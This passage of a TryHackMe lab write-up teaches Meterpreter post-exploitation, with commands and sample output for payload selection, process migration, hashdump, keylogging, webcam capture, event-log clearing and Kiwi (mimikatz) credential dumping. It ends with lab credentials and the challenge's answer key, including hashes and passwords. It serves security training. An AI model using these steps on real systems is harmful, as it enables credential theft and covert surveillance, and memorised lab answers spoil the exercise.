C:\\Windows\\system32\\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\\NETWORK SERVICE<br> 716   596   lsass.exe             x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\lsass.exe  1276  1304  cmd.exe               x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE<br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\conhost.exe</pre><p>Even if we were to go a step further and look at DLLs (Dynamic-Link Libraries) used by the Meterpreter process (PID 1304 in this case), we still would not find anything jumping at us (e.g. no meterpreter.dll)</p><p>The Meterpreter process</p><pre>C:\\Windows\\system32&gt;tasklist /m /fi &quot;pid eq 1304&quot;<br>tasklist /m /fi &quot;pid eq 1304&quot;</pre><pre>Image Name                     PID Modules<br>========================= ======== ============================================<br>spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,<br>                                   msvcrt.dll, sechost.dll, RPCRT4.dll,<br>                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,<br>                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,<br>                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,<br>                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,<br>                                   NSI.dll, IMM32.DLL, MSCTF.dll,<br>                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,<br>                                   secur32.dll, SSPICLI.DLL, credssp.dll,<br>                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,<br>                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,<br>                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,<br>                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,<br>                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,<br>                                   srvcli.dll, winspool.drv,<br>                                   PrintIsolationProxy.dll, FXSMON.DLL,<br>                                   tcpmon.dll, snmpapi.dll, wsnmp32.dll,<br>                                   msxml6.dll, SHLWAPI.dll, usbmon.dll,<br>                                   wls0wndh.dll, WSDMon.dll, wsdapi.dll,<br>                                   webservices.dll, FirewallAPI.dll,<br>                                   VERSION.dll, FunDisc.dll, fdPnp.dll,<br>                                   winprint.dll, USERENV.dll, profapi.dll,<br>                                   GPAPI.dll, dsrole.dll, win32spl.dll,<br>                                   inetpp.dll, DEVRTL.dll, SPINF.dll,<br>                                   CRYPTSP.dll, rsaenh.dll, WINSTA.dll,<br>                                   cscapi.dll, netutils.dll, WININET.dll,<br>                                   urlmon.dll, iertutil.dll, WINHTTP.dll,<br>                                   webio.dll, SHELL32.dll, MPR.dll,<br>                                   NETAPI32.dll, wkscli.dll, PSAPI.DLL,<br>                                   WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,<br>                                   apphelp.dll, NLAapi.dll, napinsp.dll,<br>                                   pnrpnsp.dll, winrnr.dll</pre><pre>C:\\Windows\\system32&gt;</pre><p>Techniques and tools that can be used to detect Meterpreter are beyond the scope of this room. This section aimed to show you how stealthy Meterpreter is running; remember, most antivirus software will detect it.</p><p>It is also worth noting that Meterpreter will establish an encrypted (TLS) communication channel with the attacker’s system.</p><p>Answer the questions below</p><p>No answer needed</p><p>#########################</p><p>Task 2 Meterpreter Flavors</p><p>As discussed in the previous Metasploit rooms, linked below, Metasploit payloads can be initially divided into two categories; inline (also called single) and staged.</p><p>Introduction to Metasploit: <a href="https://www.tryhackme.com/jr/metasploitintro">https://www.tryhackme.com/jr/metasploitintro</a></p><p>Scanning and Exploitation with Metasploit: <a href="https://www.tryhackme.com/jr/metasploitexploitation">https://www.tryhackme.com/jr/metasploitexploitation</a></p><p>As you will remember, staged payloads are sent to the target in two steps. An initial part is installed (the stager) and requests the rest of the payload. This allows for a smaller initial payload size. The inline payloads are sent in a single step. Meterpreter payloads are also divided into stagged and inline versions. However, Meterpreter has a wide range of different versions you can choose from based on your target system.</p><p>The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom, as seen below.</p><p>We have used the msfvenom --list payloads command and grepped &quot;meterpreter&quot; payloads (adding | grep meterpreter to the command line), so the output only shows these. You can try this command on the AttackBox.</p><p>Listing Meterpreter payloads</p><pre>root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication overHTTP<br>    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS<br>    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager<br>    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell<br>    apple_ios/aarch64/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_http            Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_https           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_tcp             Run the Meterpreter / Mettle server payload (stageless)<br>    java/meterpreter/bind_tcp                           Run a meterpreter server in Java. Listen for a connection<br>    java/meterpreter/reverse_http                       Run a meterpreter server in Java. Tunnel communication over HTTP<br>    java/meterpreter/reverse_https                      Run a meterpreter server in Java. Tunnel communication over HTTPS<br>    java/meterpreter/reverse_tcp                        Run a meterpreter server in Java. Connect back stager<br>    linux/aarch64/meterpreter/reverse_tcp               Inject the mettle server payload (staged). Connect back to the attacker<br>    linux/aarch64/meterpreter_reverse_http              Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_https             Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_tcp               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_http                Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_https               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_tcp                 Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armle/meterpreter/bind_tcp                    Inject the mettle server payload (staged). Listen for a connection<br>    linux/armle/meterpreter/reverse_tcp                 Inject the mettle server payload (staged). Connect back to the attacker [...]</pre><p>The list will show Meterpreter versions available for the following platforms;</p><ul><li>Android</li><li>Apple iOS</li><li>Java</li><li>Linux</li><li>OSX</li><li>PHP</li><li>Python</li><li>Windows</li></ul><p>Your decision on which version of Meterpreter to use will be mostly based on three factors;</p><ul><li>The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)</li><li>Components available on the target system (Is Python installed? Is this a PHP website? etc.)</li><li>Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)</li></ul><p>If you are not using Meterpreter as a standalone payload generated by Msfvenom, your choice may also be limited by the exploit. You will notice some exploits will have a default Meterpreter payload, as you can see in the example below with the ms17_010_eternalblue exploit.</p><p>Default payload for MS17–010</p><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue<br>[*] Using configured payload windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>You can also list other available payloads using the</p><pre>show payloads</pre><p>command with any module.</p><p>Available payloads</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show payloads</pre><pre>Compatible Payloads<br>===================</pre><pre>   #   Name                                        Disclosure Date  Rank    Check  Description   -   ----                                        ---------------  ----    -----  -----------<br>   0   generic/custom                                               manual  No     Custom Payload<br>   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline<br>   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline<br>   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command<br>   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path<br>   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64<br>   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager<br>   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support<br>   8   windows/x64/meterpreter/bind_named_pipe                      manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager [...]</pre><p>Answer the questions below</p><p>###############################</p><p>Task 3 Meterpreter Commands</p><p>Typing help on any Meterpreter session (shown by meterpreter&gt; at the prompt) will list all available commands.</p><p>The Meterpreter help menu</p><pre>meterpreter &gt; help</pre><pre>Core Commands<br>=============</pre><pre>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p>Every version of Meterpreter will have different command options, so running the</p><pre>help</pre><p>command is always a good idea. Commands are built-in tools available on Meterpreter. They will run on the target system without loading any additional script or executable files.</p><p>Meterpreter will provide you with three primary categories of tools;</p><ul><li>Built-in commands</li><li>Meterpreter tools</li><li>Meterpreter scripting</li></ul><p>If you run the help command, you will see Meterpreter commands are listed under different categories.</p><ul><li>Core commands</li><li>File system commands</li><li>Networking commands</li><li>System commands</li><li>User interface commands</li><li>Webcam commands</li><li>Audio output commands</li><li>Elevate commands</li><li>Password database commands</li><li>Timestomp commands</li></ul><p>Please note that the list above was taken from the output of the help command on the Windows version of Meterpreter (windows/x64/meterpreter/reverse_tcp). These will be different for other Meterpreter versions.</p><p><strong>Meterpreter commands</strong></p><p>Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used. Remember to check all available commands running the help command once a Meterpreter session has started.</p><p>Core commands</p><ul><li>background: Backgrounds the current session</li><li>exit: Terminate the Meterpreter session</li><li>guid: Get the session GUID (Globally Unique Identifier)</li><li>help: Displays the help menu</li><li>info: Displays information about a Post module</li><li>irb: Opens an interactive Ruby shell on the current session</li><li>load: Loads one or more Meterpreter extensions</li><li>migrate: Allows you to migrate Meterpreter to another process</li><li>run: Executes a Meterpreter script or Post module</li><li>sessions: Quickly switch to another session</li></ul><p>File system commands</p><ul><li>cd: Will change directory</li><li>ls: Will list files in the current directory (dir will also work)</li><li>pwd: Prints the current working directory</li><li>edit: will allow you to edit a file</li><li>cat: Will show the contents of a file to the screen</li><li>rm: Will delete the specified file</li><li>search: Will search for files</li><li>upload: Will upload a file or directory</li><li>download: Will download a file or directory</li></ul><p>Networking commands</p><ul><li>arp: Displays the host ARP (Address Resolution Protocol) cache</li><li>ifconfig: Displays network interfaces available on the target system</li><li>netstat: Displays the network connections</li><li>portfwd: Forwards a local port to a remote service</li><li>route: Allows you to view and modify the routing table</li></ul><p>System commands</p><ul><li>clearev: Clears the event logs</li><li>execute: Executes a command</li><li>getpid: Shows the current process identifier</li><li>getuid: Shows the user that Meterpreter is running as</li><li>kill: Terminates a process</li><li>pkill: Terminates processes by name</li><li>ps: Lists running processes</li><li>reboot: Reboots the remote computer</li><li>shell: Drops into a system command shell</li><li>shutdown: Shuts down the remote computer</li><li>sysinfo: Gets information about the remote system, such as OS</li></ul><p>Others Commands (these will be listed under different menu categories in the help menu)</p><ul><li>idletime: Returns the number of seconds the remote user has been idle</li><li>keyscan_dump: Dumps the keystroke buffer</li><li>keyscan_start: Starts capturing keystrokes</li><li>keyscan_stop: Stops capturing keystrokes</li><li>screenshare: Allows you to watch the remote user&#39;s desktop in real time</li><li>screenshot: Grabs a screenshot of the interactive desktop</li><li>record_mic: Records audio from the default microphone for X seconds</li><li>webcam_chat: Starts a video chat</li><li>webcam_list: Lists webcams</li><li>webcam_snap: Takes a snapshot from the specified webcam</li><li>webcam_stream: Plays a video stream from the specified webcam</li><li>getsystem: Attempts to elevate your privilege to that of local system</li><li>hashdump: Dumps the contents of the SAM database</li></ul><p>Although all these commands may seem available under the help menu, they may not all work. For example, the target system might not have a webcam, or it can be running on a virtual machine without a proper desktop environment.</p><p>Answer the questions below</p><p>No answer needed</p><p>#########################</p><p>Task 4 Post-Exploitation with Meterpreter</p><p>Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use.</p><p><strong>Help</strong></p><p>This command will give you a list of all available commands in Meterpreter. As we have seen earlier, Meterpreter has many versions, and each version may have different options available. Typing help once you have a Meterpreter session will help you quickly browse through available commands.</p><p>The Meterpreter help menu</p><pre>meterpreter &gt; help</pre><pre>Core Commands<br>=============</pre><pre>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p><strong>Meterpreter commands</strong></p><p>The</p><pre>getuid</pre><p>command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\SYSTEM or a regular user?)</p><p>The getuid command</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\\SYSTEM<br>meterpreter &gt;</pre><p>The ps command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process.</p><p>The ps command</p><pre>meterpreter &gt; ps</pre><pre>Process List<br>============</pre><pre> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]<br> 4     0     System                x64   0<br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\\SYSTEM           \\SystemRoot\\System32\\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM<br> 548   540   csrss.exe             x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\\NETWORK SERVICE<br> 716   596   lsass.exe             x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\lsass.exe<br> 724   596   lsm.exe               x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\lsm.exe<br> 764   692   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM<br> 828   692   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM<br> 864   828   WmiPrvSE.exe<br> 900   692   svchost.exe           x64   0        NT AUTHORITY\\NETWORK SERVICE<br> 952   692   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE<br> 1076  692   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE<br> 1164  548   conhost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\conhost.exe<br> 1168  692   svchost.exe           x64   0        NT AUTHORITY\\NETWORK SERVICE<br> 1244  548   conhost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\conhost.exe<br> 1276  1304  cmd.exe               x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\System32\\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\\LOCAL SERVICE<br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\conhost.exe[...]</pre><p><strong>Migrate</strong></p><p>Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the</p><pre>keyscan_start</pre><p>,</p><pre>keyscan_stop</pre><p>, and</p><pre>keyscan_dump</pre><p>command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.</p><p>To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. The example below shows Meterpreter migrating to process ID 716.</p><p>The migrate command</p><pre>meterpreter &gt; migrate 716<br>[*] Migrating from 1304 to 716...<br>[*] Migration completed successfully.<br>meterpreter &gt;</pre><p>Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back.</p><p><strong>Hashdump</strong></p><p>The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user&#39;s passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.</p><p>The hashdump command</p><pre>meterpreter &gt; hashdump<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::<br>meterpreter &gt;</pre><p>While it is not mathematically possible to “crack” these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in Pass-the-Hash attacks to authenticate to other systems that these users can access the same network.</p><p><strong>Search</strong></p><p>The search command is useful to locate files with potentially juicy information. In a CTF context, this can be used to quickly find a flag or proof file, while in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information.</p><p>The search command</p><pre>meterpreter &gt; search -f flag2.txt<br>Found 1 result...<br>    c:\\Windows\\System32\\config\\flag2.txt (34 bytes)<br>meterpreter &gt;</pre><p><strong>Shell</strong></p><p>The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.</p><p>The shell command</p><pre>meterpreter &gt; shell<br>Process 2124 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.</pre><pre>C:\\Windows\\system32&gt;</pre><p>Answer the questions below</p><p>Task 5 Post-Exploitation Challenge</p><p>Meterpreter provides several important post-exploitation tools.</p><p>Commands mentioned previously, such as getsystem and hashdump will provide important leverage and information for privilege escalation and lateral movement. Meterpreter is also a good base you can use to run post-exploitation modules available on the Metasploit framework. Finally, you can also use the load command to leverage additional tools such as Kiwi or even the whole Python language.</p><p>Loading Python</p><pre>meterpreter &gt; load python<br>Loading extension python...Success.<br>meterpreter &gt; python_execute &quot;print &#39;TryHackMe Rocks!&#39;&quot;<br>[+] Content written to stdout:<br>TryHackMe Rocks!</pre><pre>meterpreter &gt;</pre><p>The post-exploitation phase will have several goals; Meterpreter has functions that can assist all of them.</p><ul><li>Gathering further information about the target system.</li><li>Looking for interesting files, user credentials, additional network interfaces, and generally interesting information on the target system.</li><li>Privilege escalation.</li><li>Lateral movement.</li></ul><p>Once any additional tool is loaded using the load command, you will see new options on the help menu. The example below shows commands added for the Kiwi module (using the load kiwi command).</p><p>Loading Kiwi</p><pre>meterpreter &gt; load kiwi<br>Loading extension kiwi...<br>  .#####.   mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo) ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \\ / ##       &gt; &lt;http://blog.gentilkiwi.com/mimikatz&gt; &#39;## v ##&#39;        Vincent LE TOUX            ( vincent.letoux@gmail.com )<br>  &#39;#####&#39;         &gt; &lt;http://pingcastle.com&gt; / &lt;http://mysmartlogon.com&gt;  ***/</pre><pre>Success.</pre><p>These will change according to the loaded menu, so running the</p><pre>help</pre><p>command after loading a module is always a good idea.</p><p>The updated help menu</p><pre>Kiwi Commands<br>=============</pre><pre>    Command                Description<br>    -------                -----------<br>    creds_all              Retrieve all credentials (parsed)<br>    creds_kerberos         Retrieve Kerberos creds (parsed)<br>    creds_msv              Retrieve LM/NTLM creds (parsed)<br>    creds_ssp              Retrieve SSP creds<br>    creds_tspkg            Retrieve TsPkg creds (parsed)<br>    creds_wdigest          Retrieve WDigest creds (parsed)<br>    dcsync                 Retrieve user account information via DCSync (unparsed)<br>    dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSync<br>    golden_ticket_create   Create a golden kerberos ticket<br>    kerberos_ticket_list   List all kerberos tickets (unparsed)<br>    kerberos_ticket_purge  Purge any in-use kerberos tickets<br>    kerberos_ticket_use    Use a kerberos ticket<br>    kiwi_cmd               Execute an arbitary mimikatz command (unparsed)<br>    lsa_dump_sam           Dump LSA SAM (unparsed)<br>    lsa_dump_secrets       Dump LSA secrets (unparsed)<br>    password_change        Change the password/hash of a user<br>    wifi_list              List wifi profiles/creds for the current user<br>    wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)</pre><p>The questions below will help you have a better understanding of how Meterpreter can be used in post-exploitation.</p><p>You can use the credentials below to simulate an initial compromise over SMB (Server Message Block) (using exploit/windows/smb/psexec)</p><p>Username: ballen</p><p>Password: Password1</p><p>Answer the questions below</p><p>What is the computer name?</p><p>ACME-TEST</p><p>What is the target domain?</p><p>FLASH</p><p>What is the name of the share likely created by the user?</p><p>speedster</p><p>What is the NTLM hash of the jchambers user?</p><p>69596c7aa1e8daee17f8e78870e25a5c</p><p>What is the cleartext password of the jchambers user?</p><p>Trustno1</p><p>Where is the “secrets.txt” file located?</p><p>c:\Program Files (x86)\Windows Multimedia Platform</p><p>What is the Twitter password revealed in the “secrets.txt” file?</p><p>KDSvbsw3849!</p><p>Where is the “realsecret.txt” file located?</p><p>c:\inetpub\wwwroot</p><p>What is the real secret?</p><p>The Flash is the fastest man alive</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3cb1f9a8af6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>